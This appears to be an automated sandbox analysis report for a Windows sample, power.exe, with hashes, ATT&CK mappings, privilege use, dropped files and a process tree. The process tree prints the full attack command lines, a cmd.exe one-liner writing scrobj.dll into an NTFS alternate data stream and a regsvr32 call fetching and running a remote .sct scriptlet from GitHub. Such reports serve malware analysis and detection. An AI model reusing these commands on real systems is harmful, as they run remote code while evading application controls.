5f1b7e064ce2faa2368f90b7faa4003b845d7a13b30ce6a50f32a876f7201066

Analysis

max time kernel
149s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
11/10/2026, 12:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
power.exe
Size 376KB
Sample261011-phy1ya1tex
SHA256 5f1b7e064ce2faa2368f90b7faa4003b845d7a13b30ce6a50f32a876f7201066
MD5 d516113ce37e4b1b062419987a9b0d18
SHA1 fc13f67d5cd1261f4dc74aa147b355d6174a2717
SHA512 790c74d006bba5a75b6a3ae956121148367e18bc84df4ad9ad419de704972e70a62d66538349a844ca3d8b4033f097a4272240e5022e60e0c97b0519402032eb
SSDEEP 1536:z4U3R+2Yj4vPkqA+FJrbC1lIr7CxP7wlwF8wZ5E1:B3R+j+FJrbC1lIr7CxP7waFu
TLSH
T134842849E762ECE8FE6B1379657118223F418C5EA5D928AC218DF6253C36253409BCFF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

discovery execution

Malware Config

Signatures

Loads dropped DLL 1 IoCs

pid	Process
220	regsvr32.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
19	raw.githubusercontent.com
20	raw.githubusercontent.com

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2652	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	power.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	power.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000_Classes\Local Settings	calc.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\Textfile.txt:LoveADS	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3696	power.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	3696	power.exe
Token: SeIncreaseQuotaPrivilege	3696	power.exe
Token: SeSecurityPrivilege	3696	power.exe
Token: SeTakeOwnershipPrivilege	3696	power.exe
Token: SeLoadDriverPrivilege	3696	power.exe
Token: SeSystemProfilePrivilege	3696	power.exe
Token: SeSystemtimePrivilege	3696	power.exe
Token: SeProfSingleProcessPrivilege	3696	power.exe
Token: SeIncBasePriorityPrivilege	3696	power.exe
Token: SeCreatePagefilePrivilege	3696	power.exe
Token: SeBackupPrivilege	3696	power.exe
Token: SeRestorePrivilege	3696	power.exe
Token: SeShutdownPrivilege	3696	power.exe
Token: SeDebugPrivilege	3696	power.exe
Token: SeSystemEnvironmentPrivilege	3696	power.exe
Token: SeRemoteShutdownPrivilege	3696	power.exe
Token: SeUndockPrivilege	3696	power.exe
Token: SeManageVolumePrivilege	3696	power.exe
Token: 33	3696	power.exe
Token: 34	3696	power.exe
Token: 35	3696	power.exe
Token: 36	3696	power.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2424	OpenWith.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3696 wrote to memory of 2192	3696	power.exe	87
PID 2192 wrote to memory of 4668	2192	csc.exe	89
PID 3696 wrote to memory of 2652	3696	power.exe	96
PID 3696 wrote to memory of 220	3696	power.exe	97
PID 220 wrote to memory of 2508	220	regsvr32.exe	98

C:\Users\Admin\AppData\Local\Temp\power.exe
"C:\Users\Admin\AppData\Local\Temp\power.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3696
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qzs0op1v\qzs0op1v.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2192
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8400.tmp" "c:\Users\Admin\AppData\Local\Temp\qzs0op1v\CSC512CA0575E1D4BBB8EC935F423483429.TMP"
    3⤵
    PID:4668
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "type C:\Windows\System32\scrobj.dll > Textfile.txt:LoveADS"
  2⤵
  - Executes a command shell one-liner
  - NTFS ADS
  PID:2652
- C:\Windows\system32\regsvr32.exe
  "C:\Windows\system32\regsvr32.exe" /s /u /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Textfile.txt:LoveADS
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:220
- - C:\Windows\System32\calc.exe
    "C:\Windows\System32\calc.exe"
    3⤵
    - Modifies registry class
    PID:2508

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:2424

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES8400.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES8400.tmp
Size 1KB
SHA256 a134df22df0966fc07bb5a88fe312f64061c5924d4d326c97d8e895a31d30bbf
MD5 ed87818b5a1ae0eb784fa81ce4e894ba
SHA1 9fc3e16baed9815c833db62322142b3109198b72
SHA512 bd117a47036977188393866c393281f0336574dc84c78276fdd83f6e7259ca517aacb57f6d9d42aa1d190bc99874da9663cf79cd2b29dc5804d8fa0050b98f08
TLSH
T1D721AF4583E8471AF07357316DF6172FA278FD54DFA2935B8440422C2C51504EEE1F72
MD5 SHA1 SHA512 TLSH

Submit Download

Textfile.txt:LoveADS

Path C:\Users\Admin\AppData\Local\Temp\Textfile.txt:LoveADS
Size 223KB
SHA256 164ea0913ef910084147cab550c12b8f12c710a3f1badf4a26c6691517a031c4
MD5 3bac5e5c39b9787e3672acbfabe438d1
SHA1 35cacf1ada899882019c97bbf044e3b011eba987
SHA512 dab1dc744715b76eee9551e67108e02ca93cbb5f336b39634da4717bc82554cda3b5f33d275454ea54feb8be14d7399ee89a7d1b15266d5ff666624d284d4008
SSDEEP 3072:yt4LfLqoIX09BodNaNoqka7eiztxH7uQLvcjRiKzncF:JLLqoyYadNCoqka7eiztxH7AiK7
TLSH
T190242B5962E80065ED76A13DC557464AC7B3B8212722D6CF02A087BEDF3FBD5B938B10
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_kfrqyyjm.oa0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kfrqyyjm.oa0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

qzs0op1v.dll

Path C:\Users\Admin\AppData\Local\Temp\qzs0op1v\qzs0op1v.dll
Size 3KB
SHA256 59715b267161d4e94e6dda9cc6d4794ce35c144d26e01e59bde5e0e4fc1c18b9
MD5 cd28a24ff798583f352b8280d51921ee
SHA1 650aa152e686be34f7daa24bc3b248a83ec30b15
SHA512 78c2d57f567aad5ba1c348ecbccbf223c4af6d8ff40976020e6adf71fba1402be11279672ba2d7d3d6d02d9f0e542ced1c1be5aa896723d4fe292a47f68c3010
TLSH
T1D071C01A97E84667E8B70B35AFF3471367B8F8408E73976E5D9002197C612608D71BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC512CA0575E1D4BBB8EC935F423483429.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\qzs0op1v\CSC512CA0575E1D4BBB8EC935F423483429.TMP
Size 652B
SHA256 f2bf9075aa081fd46921a324a5ccf29e5c966b859c1b066378221efb8d8ca650
MD5 d1e6b4d6a1415f78bf0263edbf7cf973
SHA1 f3fc928489f4c69bae725bd423e1ba292c64d36b
SHA512 f8dd99751196c8bdbe5be32f78e59edf8639e498041a70c558f4e3ee240caf19769581f47d8f05a962568a22e043149f159cc15f9a55680277c8f43af195422c
TLSH
T153F03A4963F8420AF0F34B30BEF6436391ACBC64DE32A3ED2490032D2864510C962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

qzs0op1v.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\qzs0op1v\qzs0op1v.0.cs
Size 414B
SHA256 797d3123888cabb289b3b7f4241ea1eb8e0cd39b26dbf45f0dbf463bc25cddee
MD5 85783bcc0db2c1a251e2d995c9c6f964
SHA1 76363027e654ddea936f11a28d34e96f72041d2f
SHA512 a30309e494c1fbe3d4b461dd506379ae02207f65bdf919f7aa75df9f816b75a56b01e6158062df3f8d92c6e7d7bcdd3fd8021564279e86f56b572b0257e97250
TLSH
T1AAE02B082AA2FF3114538C1E81CEC0ADF573903317BF1E105AF803109F970094135616
MD5 SHA1 SHA512 TLSH

Submit Download

qzs0op1v.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\qzs0op1v\qzs0op1v.cmdline
Size 369B
SHA256 e9f5dd1bc58c40a1a3deb4b7ab470920dd181d1ce3e2a854a0090ca93b0b8999
MD5 dc079e9cec02c51a7b7d20f48726b896
SHA1 b51450f6343383ea3a0808f1f1018280ccfc1e2b
SHA512 63a55f735f23efa8c7e527d224a678f85f3b96dc975b2630c01d140788d128abe01df71366adc5ca1b66309f73a42366bca179f06d6b31b047811a7d5fcc3028
TLSH
T113E0C02E4247C27D1DDF110B756BC8ACC2720743B9427F849058844DD057F40B7D1741
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3696-0-0x0000000000330000-0x0000000000394000-memory.dmp

Download

memory/3696-10-0x000000001D020000-0x000000001D030000-memory.dmp

Download

memory/3696-9-0x00000000024D0000-0x00000000024F2000-memory.dmp

Download

memory/3696-23-0x0000000000C10000-0x0000000000C18000-memory.dmp

Download

memory/3696-25-0x000000001EA20000-0x000000001EA44000-memory.dmp

Download

memory/3696-24-0x000000001EA20000-0x000000001EA4A000-memory.dmp

Download

memory/3696-1-0x000000001D020000-0x000000001D030000-memory.dmp

Download